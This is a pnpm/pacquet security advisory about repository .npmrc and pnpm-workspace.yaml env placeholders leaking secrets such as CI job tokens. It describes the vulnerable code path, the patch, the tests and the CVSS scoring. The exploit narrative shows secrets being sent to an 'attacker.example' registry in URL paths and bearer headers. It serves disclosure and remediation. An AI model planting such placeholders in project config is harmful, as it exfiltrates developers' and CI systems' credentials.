GHSA-3qhv-2rgh-x77r: pnpm: Repository config can expand victim environment secrets into registry requests before scripts run
Maintainer Action PlanThis report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r`Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77rShared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1Shared patch branch: `security/ghsa-batch-2026-06-09`Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`Maintainer priority: `start-here`Component: `pnpm config/env replacement and registry auth`Patch area: project .npmrc env placeholders are not expanded into registry/auth destinationsAffected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `rust:pacquet`CWE IDs: `CWE-201`, `CWE-200`, `CWE-522`Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.Expected Patched BehaviorProject `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.Files And Tests To Review`config/reader/src/loadNpmrcFiles.ts``config/reader/src/getOptionsFromRootManifest.ts``config/reader/test/index.ts``config/reader/test/getOptionsFromRootManifest.test.ts``pacquet/crates/config/src/npmrc_auth.rs``pacquet/crates/config/src/npmrc_auth/tests.rs``pacquet/crates/config/src/workspace_yaml.rs``pacquet/crates/config/src/workspace_yaml/tests.rs``.changeset/sharp-registry-env-placeholders.md`Focused ValidationRun these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`.CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts runAdvisory DetailsSummarypnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.DetailsThe vulnerable TypeScript pnpm path was:`config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values.`config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `registries`, and `namedRegistries` settings.`config/reader/src/index.ts` merged those expanded registry/auth values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and `pnpmConfig.configByUri`.`resolving/npm-resolver/src/fetch.ts` built metadata request URLs from the selected registry.`network/fetch/src/fetchFromRegistry.ts` dispatched the request and attached matching auth headers before install lifecycle scripts could run.The pacquet parity path was:`pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc` placeholders while parsing registry URLs and auth values.`pacquet/crates/config/src/workspace_yaml.rs` expanded workspace registry placeholders.`pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` used the configured registry URL and `AuthHeaders` for metadata fetches.PoCRepository `.npmrc` URL-path exfiltration:Repository `.npmrc` auth-header exfiltration:Repository `pnpm-workspace.yaml` URL-path exfiltration:Exploit method:The victim checks out the repository and runs a pnpm or pacquet dependency-management command with `CI_JOB_TOKEN` or another sensitive environment variable present.Before the patch, repository config expanded the placeholder to the victim secret.The resolver used the expanded registry or matching auth entry to construct a metadata request.The victim sent a request such as `https://attacker.example/<secret>/<package>` or `Authorization: Bearer <secret>` to the attacker-controlled endpoint.Validation PoC:The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.ImpactA malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.Affected ProductsEcosystem: npmPackage name: `pnpm`, `@pnpm/config.reader`; pacquet Rust portAffected versions: current main before this patch, when project `.npmrc` or `pnpm-workspace.yaml` contains environment placeholders in registry request destinations or project `.npmrc` contains environment placeholders in registry credential values.Patched versions: pending release containing this patch.SeveritySeverity before patch: HighVector string before patch: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`Score before patch: 7.4Severity after patch: NoneVector string after patch: not vulnerable after patchScore after patch: 0.0Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.WeaknessesCWE-201: Insertion of Sensitive Information Into Sent DataCWE-200: Exposure of Sensitive Information to an Unauthorized ActorCWE-522: Insufficiently Protected CredentialsPatchThe patch makes environment expansion trust-aware for registry requests:Project `.npmrc` no longer expands `${...}` in `registry`, `@scope:registry`, proxy URL values, URL-scoped keys such as `//host/${SECRET}/:_authToken`, or registry credential values such as `//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`.User `.npmrc`, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration.`pnpm-workspace.yaml` no longer expands `${...}` in `registry`, `registries`, or `namedRegistries` URL values.Trusted user-level auth values such as `//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the `.npmrc` is supplied as user config.Pacquet mirrors the same boundary with `from_project_ini()` for project `.npmrc` and workspace registry filtering.Changed files:`config/reader/src/loadNpmrcFiles.ts``config/reader/src/getOptionsFromRootManifest.ts``config/reader/test/index.ts``config/reader/test/getOptionsFromRootManifest.test.ts``pacquet/crates/config/src/npmrc_auth.rs``pacquet/crates/config/src/npmrc_auth/tests.rs``pacquet/crates/config/src/workspace_yaml.rs``pacquet/crates/config/src/workspace_yaml/tests.rs`Changeset:`.changeset/sharp-registry-env-placeholders.md`Pacquet parity:Ported in the same patch. Pacquet dependency-management commands now parse project `.npmrc` with request-destination and credential-value env expansion disabled, and drop workspace registry values containing `${...}` placeholders.VerificationPost-patch validation:The PoC ran:Results:PoC pre-patch model showed `cand122-ci-job-token` in both a request URL and a bearer auth header.TypeScript build for `config.reader`: passed.Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial.Focused config-reader integration tests: 10 passed, covering project `.npmrc` default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user `.npmrc` registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial.`cargo fmt --check`: passed.Focused pacquet tests: 6 passed, covering project `.npmrc` registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted `.npmrc` registry expansion, and workspace YAML denial.`git diff --check`: passed.CVSS ReassessmentThe initial scan score used a repository-code-execution vector:`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High)The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`Corrected vulnerable score: 7.4 High.Final score after patch: 0.0.
CVSS v3.1: 6.5